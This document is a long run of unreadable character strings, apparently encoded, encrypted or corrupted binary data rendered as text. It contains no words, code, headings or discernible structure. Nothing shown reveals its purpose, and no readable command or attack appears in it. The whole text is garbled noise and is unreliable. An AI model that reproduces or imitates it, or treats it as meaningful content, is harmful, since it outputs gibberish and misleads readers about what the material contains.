Uk]<Qd R.QA	fZYQ?5WU	MEV5SE;jW_s[Tj 93 XeUHWRU^]OQ>3RQR	ZYjvW[	n}VSFTT_r[T@ 9tX:U\WR1Um]4QRQR	 ZUA3vW`	MHV3SFiG-_l[U6 9V7XUnWRUN]KQ&R9QJ	ZWA?rWc	7HVSG/nm_w[e@ 9{5XfUrWRUN]OQRQR	fZcRPWO	Q^V SXVW_O[X5 %O6XU@W&RU@][Q#3RQZ	Za@rWa	M}V4SE;sT_4[U@ v5XgUnWR1Ul]_QRQx	ZWRvW[	kJVSWfR6j_l[Ui t1XUnWR2U@]eQRQZ	ZU@rWa	B>HV3SH'UD_O[T6  {5XfU\WfRUN]KQdRQx	eZa5vWc	6hV SX'kj_l[T7 VX8UDWR0U^]OQ/0RQR	+ZNQ?}Wa	@"5V4SH;nU-_G[Pj H7XUvWR7UN]OQRQ5	ZaO}WO	]hVSHN 2`_1[Uj p1XU~W&RU7]eQRQ5	
ZY5#hWa	B^VSlUma_}[[R )v7XUvWR
Uj]_QRQx	eZbRPWg	@gEVSGlG-_S[T7 )p1X9ULWfR Uh]OQ8RQx	'ZN_'lWc	7}VSHsT_3[dl N1X8UHWR	Uh]LQ-RQR	$ZaBjWQ	R2HV4SW#t6j_1[WB )V7XU@WR0U@][Q'RQx	$ZdjPWM	RnV6SFhk-_0[SP nXUnWR
Uh]aQ83RQx	gZZ7<rWc	7EVSnBH_Q[X7 )2 XfULWR U6]aQ0RQx	$ZU@?vW[	i>nVSF?n V_S[dP pX9UnW&R1UN]eQ:3RQR	fZU6?IWQ	R EVSHi7n_G[Tl {7XUPWR	Uj]eQaRQZ	ZYP?rWc	7nV3SD;UG_S[Sl d3XU@WfR1UA]yQ:RQF	!ZZ7PWc	72EVSX?5F_P[Tl lXULWR	UN]}QR9Q5	$Zbl4rWa	A 1VSl?u 3_S[Sl VX:UvWRUB]aQ=RQh	 ZU7jWU	@.RVSW#n12-_@[Pl pXU@WRUN]OQ#RQR	ZeA?hW[	hoV6SH'UG-_w[cP O7X.UDWR0UA]<Q R.QB	!ZdP$rWg	@>nV3SFUH_v[`A 31XUDW=R U7]eQR9QZ	ZMO}Wg	CEV3SF?n 3_l[bl j5XfULWR0UN]OQRQZ	 ZYlPWL	P.hV5SnP1z_r[R7 =t1XU@WRUB][Q8R9Qh	ZMP5WP	SoVSE;n6m_O[T5 9V7XUvW=RUN]KQ3RQJ	ZdQPWg	BgnVSl{D_r[X5 %tXUDW=R1UN]OQ3RQx	$Za5#}Wa	SnV5SGTW_P[Wj j1XUvWR0UC]aQRQR	
ZbPvWT	PcEV5Snln_i[Pl )VXUDWR1Ul]HQfR9Qg	+ZWBlWa	AEV5Sk;hD_l[bP 9N7XUnW;R1UA]yQRQZ	!ZWA?vW`	iEVSH?Jn_}[[B )vXU@WR2UB]aQ0RQp	$Zbi'pWU	BJV5SH;hT_w[R7 VXULW=RUA]uQ<RQx	fZaA?HWg	RJVSXlD_C[e7 dVX:UDWRUN]OQ R9QJ	gZTRvW[	ouVSD;U3_1[W@ `M7XUnWR1Uh]OQ R.QB	$ZdlPW[	i:EVSHtD_W[Tj 3XU7WR U7]CQRQR	$ZU5?pWg	AMVSF?TUd_v[cR V5XgU\W;R0UN]OQ7R?Qt	:ZaBlWa	BsVSHU T_w[U5 VXU~WR
Uh]HQ.RQx	?ZUkvWg	CMV4SG#PW`_w[cj `V5XgUDWRUN]OQ8R8QR	fZYkPWO	AnVSH0vD_0[T7 hXUHWRUQ]uQRQB	$ZYPflW[	i&oVSm#h 19_p[Tj 3XUvWRUB]aQ<0RQ1	gZU75WV	5RVSk;P z_q[Tl )VXUPWR2U@]eQRQx	:Za7PWL	RhVSn'U U!_0[Xl &{7XULW&R0UA]GQ#0R QB	 ZRj$}Wg	BhV4SGBG`_O[L6 936XUDWR7UN]}Q/RQB	!ZYP?rW[	no^VSHiV_}[UP jXUnWR0UA]<QR9Q5	Za@?}WL	]hV4SW#sD_r[T5 9V1XUPWRUB]HQfRQl	$ZSlPWO	CuVS2/y6n_1[cP 9v7XUnWRUN]OQ RQx	ZelPWL	]nV5Sk;sG-_Q[[k 9HX8UjWR2UB]aQ RQR	'ZUl4}W[	ncEVSH?nG=_\[Ll DXULW=R	Uh]}Q=R:QR	fZU6?KWW	4RVSW#l3z_}[e7 dp1X?U@W=R1UA]yQ3RQl	eZbjrW[	iEVSm#P0%_\[bQ  {7X UPW&R1Uh]OQ;6R:QB	fZdkHWU	CnVSn7G-_3[L7 3XUnWfR7UB]aQ/R?Qp	$ZTjgrWg	@cnV5SH?4E_\[`l vXUHW&R0UN]OQ=RQx	ZU5HWW	7 sV3SE;7n_l[Ol dp1X9UnW&RUN]eQ9RQR	:ZaAvWW	4>JV5SE;h 3_1[`@ nX>UPWR
Uk]yQ<RQF	$ZS6jWP	]2EVSFpG_1[T7 DXUnWR U6]aQ9R?Q1	$ZbirWg	BsVSHXm-_S[Vl N6X.U@W=R
Uk]GQ<R9Qh	
ZYj?hWg	n nVSnXW-_0[Sk 5t1XUrWRUA]yQRQp	$ZcA?}WT	CJV3ST;h 0!_O[T5 `p7XUDWbRUQ]GQRQR	
ZYlPWT	RnV5SFR33_l[`@ 9V6XUHWR U6]aQ;RQF	$ZYR;}WS	SOVSH4H_\[LQ 9n1X UTW;R0UC]aQR9QR	ZU6?PWc	5JVSHi3H_w[[l {5XdU@WRUA]yQRQ1	gZWA?PWM	RAV6SEnhl9_0[T@ 9lXUvWR0U^]LQ-RQx	
Zel3}WT	PoEVSGUW=_r[[k 9l1XUHWR1Ul][QR>QF	!ZaOvWP	@EV5SE;CT_r[cR hXUnWR	Uj]jQ-RQZ	eZU6?}WL	RghV3SHv12-_q[e7 )V5XgUvWRUA]XQ-R:QR	ZTQ?rWU	B>RV5SFPk!_\[Uj t7XUDWfRUN]eQ/RQh	
ZaB3}W[	iEVSk;5n_4[VB )jXULWR1Uj][QR:QR	ZUA?}Wa	BOV4SH?PV_4[W@ lX>UDW=R1UN]}Q8RQx	:Za@$WQ	SEVSXJ W`_}[Pi {XgUPWRUA]XQ R?Qp	$ZWB rWL	RuV4SFPj_O[T6 nX9UrW=R0U^]KQRQJ	:ZbR<}WT	AnVSm#vH_l[VA N1XU7W=R	Uj]GQR>QB	$ZZiPWg	AsVSF?7 3_4[b@ lX9UrWR
Uh]OQRQx	gZYjIWQ	]nV5Sm#51j_w[Sj %n5XfU~W=R1UA]uQRQR	gZSlb}WO	RJV3SH;y W_O[T5 %V5XfU3WR0UP]eQRQB	fZRklWc	7gEVSGlj_S[VB )p1X9UnWR	Um]aQ:RQF	!ZZlb}WP	SnVSGok%_r[UP j7XUHWR1UA]uQ<3RdQt	gZU63NW[	ihVSlH 1_r[bO !{7XU\WR0UQ]yQRQx	gZaA}Wa	4nVSG#u0%_l[Sk 9DXUHW=RUA][Qd1R.QB	
ZVB;KW`	M2EVSG#n3G_l[[O !{XUnWRUB]KQ:RQR	ZUBvWc	5osVSF?h W_1[cl p1XUHWR7UA]GQRQZ	$ZUBpWc	7cRV3SFv1j_r[`A V1XUjWRUB]KQ;R?Qx	eZUA}W[	oEVSH?UG=_V[Uk t7XU@W=RUQ]GQ6RQJ	!ZW@NW`	MnV3SE;VW_Q[L5 atXUHWR Uj]CQR>QJ	ZU@lW`	PgHVSD;UH_\[`l pXUDWR
Uh]}Q83RQJ	:ZU7vWc	7hVS0;h7j_l[Xl {X9UnWR
Uh]OQ3RQB	ZTkpWM	Q^V5SF?P3_3[bQ 6t5XfU@W&R1UA]GQ3RQR	$ZWB<rWX	SnVSn'sH_l[X7 dpXUnW=R U7]eQgRQZ	 Za7/PWa	@"EVSH;lV_4[OA 9Y7XUHWR2UN]OQ83RgQB	$ZcR3HW`	BghVSk;nG`_r[R4 tXUnW&RUB][Q6R9Q5	!ZeA?pW[	h>^V5Sj;[ V9_0[bB V6XULW=RUQ]GQ1R.QB	gZVAjWP	PEVSm/3n_0[`B d3XUHWRUN]OQ0RQR	!ZcO}Wa	]2JV5SH'nG-_w[T@ 9YXeUDW=RUA]GQ<RQR	ZUA3vW`	MsVSn0H_r[R6 5t1XU\WRUQ]GQdR?Qp	gZek?vWg	C>EV3SD;n6m_v[bP 9N7XU3WRUN]eQRQx	gZV@$WU	@EV5Sni33_r[X6 9LXUHW=RUA]uQ;3RfQR	ZeklW[	oJV5SH'33z_1[T7 VXU@WR7UN]jQ-RQx	$ZYl3_W`	B>RVSk17n_w[[@ at7XUjWR2UN]}QRQx	gZZAhWg	CEV5Sn?n W-_l[[7 )v5XfU3WRUN]eQ#6R>QB	$ZZ7lW`	iEVSF1m_v[L5 V1XULW=R1Uk]GQR:QB	$ZWAvWg	RHV5SH?U3z_w[XR HXeUHWR	Uh]eQ=RQQ	fZYiKWg	SRVSk;U T_l[UA 9VXUnWR1Uk]9QgR9Qx	
ZM@#5W[	hhVSnUW`_v[[Q t7XU@W.R1Um]KQ R.QB	$Zel3hWP	Q^VSmbR3H_w[T5 HX8UHWRUA]GQR:QR	ZYR/rWc	65VSG#Um`_w[Ul M6XdULWRUA]GQ: RQl	
ZYk}W[	inV4SHtW`_r[O@ %tXU3WR1Uj][QRQR	:ZelPWL	R^VSE;U V9_r[UA  t5XfUnWRUS]_Q6R:QB	ZcBPWa	@.EVSFhG_l[V@ V5XeUHWR1Uk]yQ#3RgQB	+ZMA3rW`	SRVSG#7T_}[UP 36XUrWR0UA]yQ:RQR	ZUApWT	PcuVSk<vH_1[T@ 93XULWR0UQ]GQRQJ	ZQlbrWa	CJVSGh T_1[UA  t7XUDWRUN]OQ 7R9QJ	gZSAPWL	]nV6SEnkma_0[X5 l5XfUnWfR0U^]OQRQx	$ZSjfpWa	PgsVSVXT_1[T@ H1X9ULWRUB]KQ83RgQB	:ZU@}WO	SJVSns 1_}[Pl jX8UTW&RUQ]GQR9QJ	fZa7/rWg	oRVSE;u3G_\[Ul &{7XU\W=RUN]jQeR8QR	
ZdR3}WL	QnV6SFvW=_w[T7 vXULWRUA]GQ/RQ1	$ZSArWc	7>^V3SG#u W_v[VB V1XUnWR0UA]uQ<RQp	eZcR}WO	SRV3SFtH_\[WR 5t1XUTWR
Uk]yQRQR	fZUPrWM	RJV5SGnG_0[[j `N7XU\WR1Um][Q RQF	:Zc@NWa	CnVSn'hW-_3[L5 %tXUHWR Uh]OQ3ReQl	$ZSB rWa	BHVSH1G`_w[e7 D6XUnWRU@][Q8R?QZ	$ZbQ3vWa	Q:@VSHWX1_\[Rj 5jX9UTWRUN]@Qd7RQZ	ZOR_W[	7cuVSD{7D_F[[@ z5XeU\W.R7US]_Q"3RdQo	$ZQj6WU	MiVS38v13_V[cB 52XU3W R7UQ]9Qd7RQZ	'Zal?6W`	A23VSk47G_G[NP 5D1X>UDW.R7U@]GQ$ RgQV	ZbjfJW`	loAV SVt319_o[cj %LXUjW`R	Uh]eQ7RQZ	!ZSR4WU	M:hV3S1?tH1_U[RP yXUTWRU4][Q7RQZ	'ZOR_W[	7cuVSlOU!_1[X5 %lXU@W`R	Uj]_QRQd	
ZdB?6W[	4 _V3S1?j0`_\[c@ 90XUTWRUA]CQ"0RQc	cZO_?hW[	n2NV3S2t32"_}[W4 9n7X.UbWR2UA]DQ.0RQh	ZU_?hWP	S oV3S3WU_r[RA LXU7WRU6][QdRdQ5	ZVP#4Wg	S }VS3'rV_@[cl tXUDW=R0UC]4Q-7RQN	ZUi|WM	Pg@VSE;KE`_v[O6 =AXU3W&R1UB]fQ RdQt	ZOPvWS	o1VSUR7k-_\[b7 NXULWRU^]HQ  R QF	ZUi'_W[	kAVSFx l9_}[Ll {X8ULWbRUQ]GQ-7R?Qx	!Zc7HW`	Q@V SX{ X_F[Ti !HXUPW<RUl]OQ7RQZ	!ZQ4jWO	RiVSn?{7k-_O[b7 N6X UHWRU^]HQ. RQB	ZM_'lWS	i1V SX{ U-_G[LB Y7X U@WbR
Um]GQ7R?Qx	$Zc7HWT	A@V SV{ l9_}[LR jX8ULWbRUA]GQ- RQx	ZUl_Wa	Q1VSUR7l9_l[b7 N6XU7WRUP]\Q- R8Ql	+ZM7lWS	i1V SW{ U-_q[UR YXULWRU^]HQ. RQB	ZUi'HWc	6AVSE{U%_o[dk 2XU7WRU5]}Q'0RQg	+Zb@3JWg	M1VSE;{ U-_q[UR Y7X U@WbRUS]GQ7R?Qp	eZc7HWT	A@V SVx l9_}[Ll tX8ULWbRU@]CQ- RQx	'ZQjNW[	6&VV3SV?2 z_0[ci DX UjW.RU7]eQd R>QN	gZbOhWW	k:sVSlS0U_1[e5 `D6X8U@WRUC]aQ- R:QB	 Zc7TWa	7@VSHV1j_F[[O tX9UTW-R7U|]aQ-7RQd	&ZY5fBWg	M2sVSmbS l_[Wl R7XfUHWRUN]CQ  R8QB	)ZY7TWa	4@VSHW1m_3[TR 2y6XeU@W`R0UB]aQRQJ	gZaA?lWg	@2@VSE;yD_3[Xl )VX9U@W=R0UB]aQRQA	fZVBTWQ	P:~V5SEj1j_F[[B 9L6X>UbWRUP][Q6R9QY	+ZVj#TWP	Bc}V3SD;E32_v[e4 Y6X.UHWbRU@]_QRQI	$ZSOjW`	S5VSn'E33_v[X5 %LXU3W.RUl]aQ RgQR	$ZT5#JW`	i _V3S1J6m_}[Wj %RXU3W.RUl]aQ RgQR	$ZT5#JWS	n1VSkvE-_o[SB AXUnW`R	Uk]yQRQt	fZM@3JWU	M2OVST;t6k_i[`_ 9n5XdUHWR U5]fQ RQI	$ZSO?hWc	55V6SDj0`_\[e7 2{XU3WfRUk][Q'7RQZ	!ZQ4jWO	RoVSjH7E!_3[Wi zXUjWR2U@]\Qb7RQt	gZVl|WU	C }V3STt1z_0[UR 537XU?W&RUA]CQaRQV	
ZdB|WM	R&iV6SG#4 0!_3[c@ @XUnW`R U5]jQ RfQh	$Zd45Wa	A NVSGc2U_S[WP %2XUjW`R	Uk]yQ R.QJ	9ZRO?4W`	P5VSn'E33_v[X5 %LXU3W&R1UB]fQ RdQt	ZVR?BW[	6&VVSGbt32"_0[WR 535XeU\W:R2UA]yQ RfQZ	:ZQ5$|W[	o@VSn'V 2_\[cB 5hXU7WRU@]eQg R>QN	
ZNB;TW`	o2]VSV510!_1[c@ "{XU?W RUj]eQ6R:QA	fZeR3hWS	i@VSHV l_S[b7 9pX8UvWRU@][Q-RQx	ZWl?TWL	C&NVSk` l_S[b7 9pX8UvWRU@][Q-RQU	fZTPlWS	h~VSF?1 j_v[`P %3XUHW`R U5]jQ RQx	9Zek@W`	C uV3SX;W1z_3[cB =RXU3W.R	U@]eQ RQI	$ZVPTW`	]kVSHr 0_Q[LA 5LXU3W.R	U@]eQ RQI	$ZVR?BW[	6>]VSV5E`_\[eB zXUvW:R2UA]yQ RfQZ	:ZQ4IW[	o@VSn'V 2_\[cB 5hXU7WRU@]eQ R.QN	eZaPfjWO	R.~VSF{7Ed_V[b4 90XUHW`RUR]aQ-7RQd	%ZaPrWS	h}V4SEj1m-_F[[O OXgUHW`R7U|]_Qf R9QY	cZd_5WQ	QMV6SDJ z_}[Pi 3X?U7W.R7U5]aQ$ RgQR	ZU_?IWg	AhVSXKE`_p[`P pX9UjW8R7UQ]4Q'RQB	ZZ@4}WS	h~V5SEj2-_F[[B 9NXgUnWRUP]KQcRQY	$Zek@W`	C uV3SUt32"_0[Wi 06XUbW8R	Uk]GQ6R9QY	gZRBTWQ	S5VSX{7Ed_o[SB AXUnWRUl]OQaRQR	 ZdB?TWa	RcuV5SD;V6n1_s[eO 92XeUPW.RUR]aQg6R9Qh	 ZbB?TWU	M@VSm/Q331_p[WQ 5@XUnWRUj]eQg R>QJ	 ZaP#5WM	A:uV3SG/k32_0[[@ %DXUHW RUl]aQ'RQZ	:ZaR;IWP	S3VSm#E6m2_}[[B 9NXgUvWRUA]uQ1RgQR	:ZZB|WO	]:MVSn'S j_r[X7 5R1XUHW`R7U|]aQ-RQx	ZWlTWT	]NV5SE` l_W[T_ 2XUPWRU@][Q-RQx	ZWlTWT	]NV5SE`1j_3[Xl R7XfUHW`R	Uk]yQ6R9Qg	bZdB36WS	hc}VSEWU_r[RA l6XUTWR	Uk]uQ1R.QJ	:ZMB?TWU	M2MV4SGR k`_p[SO 926XUTW8R2UA]GQ1RdQt	
ZNR?TWU	M2MV4SGR k`_p[WQ 5@XUnWRUQ]8Q"3RfQw	fZViKWO	]5V6SFr j_Q[LR =tXUvWRUl]XQ 3RfQg	bZMO6WP	Bc}VSj;O 3_r[U5 %LX?UTWRUN]@Qc R8QB	)ZaRTWa	|o@VSHD1n_Q[b4 6yXgUHW`R7U|][Q-7RQJ	fZQlTWa	7:kV5SFqX _4[[A 5hX9UjW RUl]aQ1RdQt	gZbOWP	SuV6SDtF_\[e7 =tXeULWRUk]8Q1R:QV	gZc734WX	P~V3SV{7Ee_0[b4 90XUHW`RUR][Q-7RQd	&ZN6GWO	@>VVSW 4U_W[dO l6XU@W`R	Uk]yQ R.QJ	9ZVQ36WW	7.sVSn;VX_F[[B 2zXgUbWRUN]@QdRQB	ZOQ;GWW	]>CVSTH7G_0[L@ `NXU3W.R7UB]aQ3RfQZ	 Zd4vWS	h~VS0;B1m=_v[`P azX>U@W&R	Uk]GQ R8QB	)ZN6;GWT	S uV3SX;W1z_0[ci DXU@W`R	Uh]fQ 0RQ5	&ZVQ36WW	5&5VSjV31_@[ci OXUjW-RUQ]4Q RQl	%ZVP6WW	:]VSVt6k!_\[dP 5LXUbWRUR]aQ"6R?QZ	?ZaRTWa	4~V3SH<v0W=_3[Rj %D1X?U7WRUN]@QdRQF	ZVP#4Wg	S }VST;16m=_V[cB 9RXU@WR	Uh]KQRQZ	9ZR@g|Wg	PoOVSkS7G_0[L@ `LX?ULWbR Um]HQ RQx	9ZR@#5W`	BuVSj;BU_\[P5 azXUjWR	Uk]GQ'RQt	ZU_?hWg	QsVSl{7D_F[[B 9NXdUTWRUR]OQ3RdQZ	fZb@f6Wg	]3VSknW l_[`R RXUHWR0UC]GQ<1R9Qx	ZZ@TWO	]3V3Sz{7Ed_p[SO N7XUHW`R7U4]9QdRQF	Ze@#BWg	S MV SW7G_r[[@ @XUnWRUj]eQ R.QN	ZTP3JWQ	S uV3SX;W1z_3[cB =RXU3WRUP]CQ9RQF	ZVR?BW[	53VS0;B j_w[WR 5OXU~W.R7UA]GQRfQh	$Zd45Wa	A NVSGc27E!_O[Pl z5XeUPWR U7]eQ$1RgQR	:ZTP0}WO	A:@VSE;E l_[O4 9OXULWRUk]yQ RdQt	
ZbO5W[	nghVST4 l_O[PR &{X9UTW<R7U7]jQ-1RgQA	fZdOjWW	ouVSn?r1z_U[RP 5jX9UTWRUS]GQ<RQd	
ZM4rWM	]5V6SFv30_1[cO { XdUjW:R
Um]GQ<R:QB	ZZ@6WU	A}V4SD;k z_0[cj 5l6XU?W.R	Uj]GQ 3RfQZ	ZURTWQ	]3V3S0tT_Q[P5 %36XUHWR	Uk]GQd3RdQZ	ZVPFWO	@>3VS0;B j_3[`P `lXU~W:R2UB]KQ"7R?Q5	fZQi5W[	h@VS3?r12_V[dP azXU@WRUN]CQ  R9QR	ZM7<}WS	h:~VSm/{7H1_V[b4 6{X9UTW-RU@]eQRQB	:ZTjpW[	nchVSUjD_l[Uj vX?U3WRUB][QRQR	:Zc40}WO	C ~V5SEj W_F[[B 9NXfU3WRU7]CQ RfQY	fZVj#_WO	Bc3VS0;B j_V[Wl 2zX UbWRUP][Q3RgQV	fZV_Wg	h.MVSEtT_Q[P7 5nXU\W&R0UA]CQ"R QN	ZQ4|WL	]:OV6SGKE`_s[eO 92X.UDW.R7UA]uQRQB	
ZM4rWM	ROVSj;t3H1_\[L4 tXU7WR7UN]OQ3RfQI	$ZVPHWO	]3VSUjE_U[cB =37XUHWR U7]eQd6R9Qg	$ZUP#5W`	BuVSj;j30_\[P5 azXUjWR	Uk]GQ'RQt	ZU_?IWQ	P@VSlV z_\[S4 9OXULWRU5]}Q'0RQg	+ZbBJW`	hkV5SF1F_w[b6 5{1XUDWR U5]aQRQV	?ZVR?HWV	:kVSzjU_r[RA l6XUTWR	Uk]uQ R>QJ	
ZV_4WP	Bc}V3SD;VX_0[ci DXUjW`RU6]aQ1R9Qh	$Zbl3jW`	B:3V3S2bW0_r[RA A6X9U3W&R1UB]fQ RdQt	ZO_?IWg	COVS1?E32_v[e4 2XUHWfR2UN]}Q$ RfQR	eZbOnWU	AMVSH2U_W[dA LXUTWRUk]uQ3RdQ0	$Zbi5WM	SMV4SD;t6k_i[`_ 6yXULW-R2UN]OQ" RfQh	 Za_|W`	@osV6SE;r136_0[OP %DXUjW.R	Ul][Q<7RQ1	9Zek@W`	k>sVSn;Q z_G[T_ 9O1XU\WRU7]eQ3RfQZ	 Zd4_W`	1VSFWU_r[RA A6XUvWfR	Ul]KQ 3ReQB	Zbi5WM	SMV4SD;t6k_i[`_ 6yXULW-R2UN]OQ" RfQh	 Za_|W`	@osV6SE;r136_1[[O Y6X.UHWbRU@]_QRQI	$ZSAGW`	C uV3SX;W1z_0[eO lX9U~WRU@]eQg R>QN	
ZNB;TW`	i _V3S1J6m_}[Wj %RXU3W&R1UB]fQ RdQt	ZY7_W`	Q1VSGc2U&_r[dk F6X:UnWfR2UA]<Q6R?QZ	eZQ5#5W`	BuVSkt32"_0[WR 5l7XeUPWRUk]CQ0R QJ	fZT74|WS	S3VSm#E6m2_}[[O Y6X.ULWbRUS]KQRQd	ZOQ;GWW	]>VV6SG#W 2_l[P4 OX>UDWRUh]}Q  RfQR	
ZbB3nWU	@gNVSF?1 j_\[OB =RX?UTW`R7U|]eQ6RQV	ZWl?4WW	R~V3SV?O z_C[`_ 90XUvWR7UP]KQ6RQU	gZZOTWW	7HVSFv j_r[PQ {X9U@WRU@]@QcRQF	 ZZ7rWV	5^VSkWU_r[RA A6XUTWfR2U@]GQ$ R>QN	ZMR;rWM	P&OVSjv322_4[LO 0XU3W&R1UB]aQ RfQh	)ZY5TWa	4NV3SV`H_W[Vi 90XU3W.RUl]aQ1R:QV	)ZWl?4WW	S&NV3SVV7H1_F[SA 9v6XUPWR
Ul]aQRQB	ZcB/pWS	PCVSFGD_3[bl tX9U7WRUA]CQaRQR	&ZeA;GWW	]>VVSl?1 U"_r[ci 3XU\WR0UB]aQ"6R?QZ	?Za_0WQ	P~V6SG/q0T_V[LP %nX?U7W-RU7]CQ=RQh	ZVR34WL	P5VS2njU_r[RA A6XUPW&R7U^]aQ1R.QE	fZdOjWW	h.NVSF?1 U`_p[WQ 5@XUnWRUQ]8Qc0R QJ	fZT74|WS	S3VSmfR1l9_s[Li !YXUPW<RUk]8QaRQR	&ZeAJWU	M@VSm/q33_1[NP %36XUHW&R
Ul]aQ<3RdQZ	
ZQ5g|WM	R:MVSmqU!_C[T_ 9n6XULWRUA]CQaRQR	&ZeAJWU	M@VSm/q33_1[N_ yXUbWRU5]eQ$1RfQZ	 ZePg|WT	C3VSk;k z_1[dR 5R6XfU3WRU7]CQ3RgQR	 ZY7;hW[	k2~VSGntT_Q[P5 `l1X>UDWfR2UB]aQ'1RgQd	ZRO?IWQ	P@VSn8y12_1[cB 5hXUHW&R7UA]uQ=RQZ	:Zd56Wa	73VSk;k z_1[dR 5R6XfU3WRU7]CQ3RgQR	 ZY7;hW[	k2~VSGntT_Q[P5 `l1X>UDWfR2UB]aQ'1RgQd	ZRO?IWQ	P@VSn8y12_1[cB 5hXUHW&R7UA]uQ=RQZ	:Zd56Wa	7:kV5SFqX _5[ci zXU7WR7US]GQ"3RfQw	fZVR35Wc	4NVSG7E_p[dA l5XeUPWR	Uk]GQ1RdQt	:ZMB|Wg	iOVSF?r 2_\[UR 9RXUTWRUm]GQ"3RfQw	fZVR35Wc	4NVSG7E_p[dA DXUvWRUA]8Qc7RQZ	'ZUj3JWU	M2OVSj<v j_\[W_ 2XUTWRU4]4Q6R9Qg	bZSl3IW[	hcuVSkV0T_V[d_ yXU?WRU4]4Q6R9QY	fZVi6WL	P5VS2njU_r[RA A6XUPW&R7U^]aQ1R.QE	fZdOjWW	h.NVSF?1 U`_p[WQ 5@XUnWRUQ]8Qc0R QJ	fZT74|WS	S3VSmfR1l9_s[Li !YXUPW<RUk]8QaRQR	&ZeAJWU	M@VSm/q33_1[NP %36XUHW&R
Ul]aQ<3RdQZ	
ZQ5g|WM	R:MVSmqU!_C[T_ 9n6XULWRUA]CQaRQR	&ZeAJWU	M@VSm/q33_1[N_ yXUbWRU5]eQ$1RfQZ	 ZePg|WT	C3V3S1?q z_1[U5 `lX8UPWR7UA]GQ"RQk	$ZR@fBWg	M2sVSmbSE-_o[[O R7XfU3WR7UB]aQd RfQh	$ZY4BWT	R.uVSGo4W_r[e4 37XUPWRUA]9Qd7RQc	cZdRhWL	M ~V3SV?O z_C[e4 RXUTWRUk]uQ'3RgQQ	gZVPFWO	@>VVSWb533_v[X5 %jXULWRUj]eQ0R QI	fZaR;hW[	h:MVS0S7G_q[Ti RXUTWRUk]uQ'3RgQQ	gZVPFWO	@>VVSWb50_r[RA A6X9U3W&R Uh]HQb7RQt	gZVl4WU	@uVSm/21n_O[L4 RXUPWR7UN]}Q=RQh	
ZbO6WM	QuVSn?O6m2_0[`_ hXeU@W.RUN]@QdRQF	ZeAjW`	MNVSm/O j_w[WR 5nXU@W`R	Uk]<QRQ5	 ZN6;GWW	]>VVSW/J6m_}[Wj %RXU3W&R Uh]KQ= RQl	'ZMO'TW`	o2]VSV5E_v[eO lX9U~WRU7]@Q/RQA	fZSl4|WL	QuV6SDv131_@[cj %H7XUHW8RUN]eQ- RgQV	?Za_?IWg	i}VSUkX_w[dB ){X?UHWR
Uj]CQRQQ	bZcPIWS	nJV4ST;[j_0[b@ 9R6X>UbWRUP]KQcRQF	 ZOQ;GWW	]>VVSl?1 U"_r[ci 3XU\WR0UB]aQ"6R?QZ	?Za_0WQ	P~V6SFV0W=_G[`_ n1XULW`RUQ]CQaRQR	&ZeOjW`	S5VSn'E33_v[X5 %LXU3W&R Uh]KQRQZ	9Zek@W`	k>VV6SH'S 22_0[cl 9RXUTWRUm]GQ7R?Qp	ZMB?HW[	6&VVSGb5E`_\[eB z6XUjW&R7UB]jQb3RgQR	 ZY5#lWM	RuVSl?E0T_0[`R =nX9UjWR U6][Q7RQZ	'ZUl?HW[	6&VVSGb5G=_w[WR 5nX?UHW.R U4]DQ  R>QJ	eZVl3nWU	B.OVSF?OF_\[eB LX?UTW.R U5]eQ$3R.QE	fZd5#BWW	7sV6SH'rF_[Wi l5XgUHW.R7U7][Q-RQB	 ZTR?vWS	k:@VS0`32_l[eO lXU~W&RUB]aQ7RQd	Zbi|WM	PgAV3Sz0 m_5[e_ 2XUPW&R7UQ]4QRQB	+ZR@#hW[	k5V6SDr31_[X4 9n5XdUHWfR2UB][Qg RgQd	ZUl?JW`	o2]VSV5E_v[NQ =AXUnWRUj]eQg RQw	$Zbi5WM	SMV4SD;t6k_i[`_ 90XU@WR	Uh]OQ0R QJ	:ZT_6Wa	2]VSV5G=_v[eB 9n6XU7WRUk]yQ RfQZ	ZU_?hW`	SNVSm 2W_3[TR 5lXU3WRU@]eQg RQ5	ZQi'NWS	QNVSGD0_r[RA A6XUTWfR2U@]GQ$ R>QN	ZMR;rWM	P&OVSjv322_4[LO 0XU3W&R Uh]KQ=RQB	)ZSj}Wg	M^VSG/iX_O[Wi 3XU@W.R7UA]GQ1RdQI	$ZS@6WW	45VSlD32_v[e5 %l1X>UDWfRUk]yQ$1RgQd	%ZUR3hW`	B:uVSkWW_1[cB =OXU~W&R2UB]_QRQ5	gZcA0rW`	BkV4SE;V13_\[P_ 3X?U7W.R7U4][Q0RQg	bZbjTWg	MJV5SkDj_0[e5 %tXgUbW&RUh]}QRQV	Ze_5WT	M&VV3SUD30!_v[`P `lXUPW RUh]OQ= RdQt	&ZR@$|W[	h:uVSn?4W_l[ci RXgUjWR7UC]KQ1R.QJ	fZVl;jWW	hckVSj;q 0!_p[S@ `3XUTWR2UB]aQ"6R9Qh	!ZVP#jWS	PMV3SG/4X_O[Wi 3XU@W.R7UA]GQ1RgQd	ZdOjWW	ouVSn?O1k_r[R@ 0XeUHWR	UA]8Q0R QJ	fZeR35WQ	R.}V3S1v 31_Q[LO nXUTW&R	Uk]uQd3RfQh	eZMOBWc	7.}V3S1030_\[L5 %lX9UjW8R U7]eQ3RdQZ	eZb@hWO	]:}V3SEnr12_C[SB :z6XUHWRU@]CQf3RdQ5	ZVl;5W[	k2MVS3?WU!_\[cB 52XUvWR Uj]GQc3RfQ4	+ZVj#IW[	huVSlQ z_\[P4 3X>UHW.R7UA]zQ 3RdQ4	bZSj3@WO	@>RV3SG{13_v[L@ %VX9UjW&RUk]uQ'3RdQ5	ZZ73@WO	@>RV3SG{13_v[L@ %j1XU@WR	Uj]_Q1R:QV	ZROJWW	52^VSDmn_\[PR t7XULW=R0U^]aQ9RQ5	 ZdllWU	M>JVSD37E_U[[P tXU@W<R1Uh]LQ/RQZ	fZVi5W`	AsVSl?W z_4[NR AXUnWR7UA]DQ-1RgQR	 ZM@#PWg	M:}VSlD1k_r[RA 3X>UHW.R7UA]zQ 3RfQJ	gZMR3hWT	@@V3SG/q32_l[OB RXULWfR U4]4Q"RQA	$ZR@0rWW	n:]VSVN30_O[e4 DXU~WRUl]aQ'3ReQB	%ZbA4}Wg	MRVSmvD_\[P6 9v6XUPWRUB][QRQR	:ZOPTWa	PouVSDHH_l[L4 36XUDW&RUN]}Q  RgQR	ZRO?BWV	5c^VSnhG_3[WB t5XgUnWR0UQ]GQ?RQQ	+ZcBJW`	6:~V6SE7G-_1[cB :y1XUPWR	Uk]GQRQh	 Zb@TWL	@~VSm/q32_l[OO hXeU@W.RU@]CQRQA	$ZekNWS	iHV6SG#7 z